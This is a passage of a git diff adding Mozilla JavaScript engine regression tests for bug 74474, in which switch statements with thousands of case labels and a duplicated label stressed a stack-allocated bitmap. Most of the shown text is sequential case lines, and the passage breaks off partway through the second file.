+case 8206:
+case 8207:
+case 8208:
+case 8209:
+case 8210:
+case 8211:
+case 8212:
+case 8213:
+case 8214:
+case 8215:
+case 8216:
+case 8217:
+case 8218:
+case 8219:
+case 8220:
+case 8221:
+case 8222:
+case 8223:
+case 8224:
+case 8225:
+case 8226:
+case 8227:
+case 8228:
+case 8229:
+case 8230:
+case 8231:
+case 8232:
+case 8233:
+case 8234:
+case 8235:
+case 8236:
+case 8237:
+case 8238:
+case 8239:
+case 8240:
+case 8241:
+case 8242:
+case 8243:
+case 8244:
+case 8245:
+case 8246:
+case 8247:
+case 8248:
+case 8249:
+case 8250:
+case 8251:
+case 8252:
+case 8253:
+case 8254:
+case 8255:
+case 8256:
+case 8257:
+case 8258:
+case 8259:
+case 8260:
+case 8261:
+case 8262:
+case 8263:
+case 8264:
+case 8265:
+case 8266:
+case 8267:
+case 8268:
+case 8269:
+case 8270:
+case 8271:
+case 8272:
+case 8273:
+case 8274:
+case 8275:
+case 8276:
+case 8277:
+case 8278:
+case 8279:
+case 8280:
+case 8281:
+case 8282:
+case 8283:
+case 8284:
+case 8285:
+case 8286:
+case 8287:
+case 8288:
+case 8289:
+case 8290:
+case 8291:
+case 8292:
+case 8293:
+case 8294:
+case 8295:
+case 8296:
+case 8297:
+case 8298:
+case 8299:
+case 8300:
+case 8301:
+case 8302:
+case 8303:
+case 8304:
+case 8305:
+case 8306:
+case 8307:
+case 8308:
+case 8309:
+case 8310:
+case 8311:
+case 8312:
+case 8313:
+case 8314:
+case 8315:
+case 8316:
+case 8317:
+case 8318:
+case 8319:
+case 8320:
+case 8321:
+case 8322:
+case 8323:
+case 8324:
+case 8325:
+case 8326:
+case 8327:
+case 8328:
+case 8329:
+case 8330:
+case 8331:
+case 8332:
+case 8333:
+case 8334:
+case 8335:
+case 8336:
+case 8337:
+case 8338:
+case 8339:
+case 8340:
+case 8341:
+case 8342:
+case 8343:
+case 8344:
+case 8345:
+case 8346:
+case 8347:
+case 8348:
+case 8349:
+case 8350:
+case 8351:
+case 8352:
+case 8353:
+case 8354:
+case 8355:
+case 8356:
+case 8357:
+case 8358:
+case 8359:
+case 8360:
+case 8361:
+case 8362:
+case 8363:
+case 8364:
+case 8365:
+case 8366:
+case 8367:
+case 8368:
+case 8369:
+case 8370:
+case 8371:
+case 8372:
+case 8373:
+case 8374:
+case 8375:
+case 8376:
+case 8377:
+case 8378:
+case 8379:
+case 8380:
+case 8381:
+case 8382:
+case 8383:
+case 8384:
+case 8385:
+case 8386:
+case 8387:
+case 8388:
+case 8389:
+case 8390:
+case 8391:
+case 8392:
+case 8393:
+case 8394:
+case 8395:
+case 8396:
+case 8397:
+case 8398:
+case 8399:
+case 8400:
+case 8401:
+case 8402:
+case 8403:
+case 8404:
+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8999:
+ actual += 'a';
+}
+expect = 'a';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-74474-003.js b/js/src/tests/ecma_3/Statements/regress-74474-003.js
new file mode 100644
index 000000000..f944ed59f
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-74474-003.js
@@ -0,0 +1,9065 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(One duplicated label [8998])';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
